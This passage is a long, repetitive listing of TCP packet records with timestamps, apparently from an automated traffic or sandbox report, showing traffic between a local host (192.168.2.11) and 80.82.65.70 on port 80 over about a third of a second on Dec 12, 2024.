                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.592879057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.592932940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.657267094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.657382011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.657496929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.657548904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.657663107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.657812119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.658052921 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.658449888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.658509016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.658524036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.658623934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.659292936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.659379959 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.659447908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.659538031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.660016060 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.660131931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.660141945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.660239935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.660787106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.660923958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.660984993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.661864042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.661941051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.661995888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.662332058 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.662404060 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.662456036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.663114071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.663177013 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.663243055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.663301945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.663930893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.664033890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.664088964 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.664666891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.664778948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.664784908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.665184021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.665458918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.665591002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.665623903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.665662050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.666253090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.666340113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.666378021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.666434050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.667018890 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.667073011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.667102098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.667190075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.667856932 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.667967081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.668001890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.668018103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.668620110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.668677092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.668704033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.668776035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.669625044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.669682026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.669800043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.669856071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.670265913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.670321941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.670346975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.670423031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.670995951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.671082020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.671134949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.671756983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.671763897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.672542095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.672607899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.672641993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.672831059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.673305035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.673355103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.673383951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.673433065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.674149036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.674196959 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.674206972 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.674298048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.674877882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.674935102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.674972057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.675023079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.675657034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.675860882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.675936937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.676456928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.676517963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.676604033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.677231073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.677341938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.677596092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.677998066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.678158045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.678251982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.678798914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.678889036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.678950071 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.679548025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.679600954 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.681863070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.734006882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.734181881 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.734199047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.734281063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.734323978 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.734335899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.734407902 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.734611034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.735048056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.735106945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.735157967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.735867977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.735951900 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.770395994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.770461082 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.770592928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.770592928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.770744085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.770792007 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.770828962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.770889997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.771516085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.771620035 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.771702051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.772253036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.772670031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.772681952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.772737026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.772772074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.773091078 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.773148060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.773214102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.773267031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.773869991 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.773972034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.774022102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.774622917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.774842024 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.775039911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.775448084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.775509119 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.775568962 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.775620937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.776263952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.776426077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.776520967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.776995897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.777096987 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.777117014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.777307034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.777827978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.777883053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.777911901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.777982950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.778532982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.778604984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.778671980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.778918982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.779328108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.779402018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.779448986 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.779972076 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.780173063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.780271053 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.780277967 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.780343056 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.780903101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.780986071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.780987024 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.781027079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.781672001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.781735897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.781773090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.782270908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.782536983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.782664061 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.782732010 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.783262014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.783332109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.783364058 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.783611059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.784003019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.784049988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.784089088 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.784178019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.784790039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.784842968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.784903049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.849262953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.849322081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.849371910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.849482059 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.849520922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.849555969 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.849602938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.849766016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.850248098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.850356102 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.850433111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.851074934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.851149082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.851185083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.851453066 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.851613045 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.851655006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.851768970 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.852391005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.852592945 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.852662086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.853167057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.853219032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.853283882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.853387117 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.854005098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.854034901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.854110956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.854110956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.854722977 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.854799986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.854814053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.854887009 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.855542898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.855649948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.855680943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.855696917 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.856293917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.856367111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.856399059 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.856661081 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.857058048 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.857121944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.857188940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.857867002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.857983112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.858031034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.858067036 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.858633041 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.858688116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.858719110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.859143972 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.859502077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.859561920 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.859663963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.859767914 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.860225916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.860285997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.860347033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.861016035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.861068964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.861107111 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.861125946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.861814022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.861865997 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.861929893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.861973047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.862577915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.862682104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.862808943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.863364935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.863481998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.863600969 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.864115953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.864219904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.864697933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.864903927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.864965916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:06.865029097 CET4981980192.168.2.1180.82.65.70
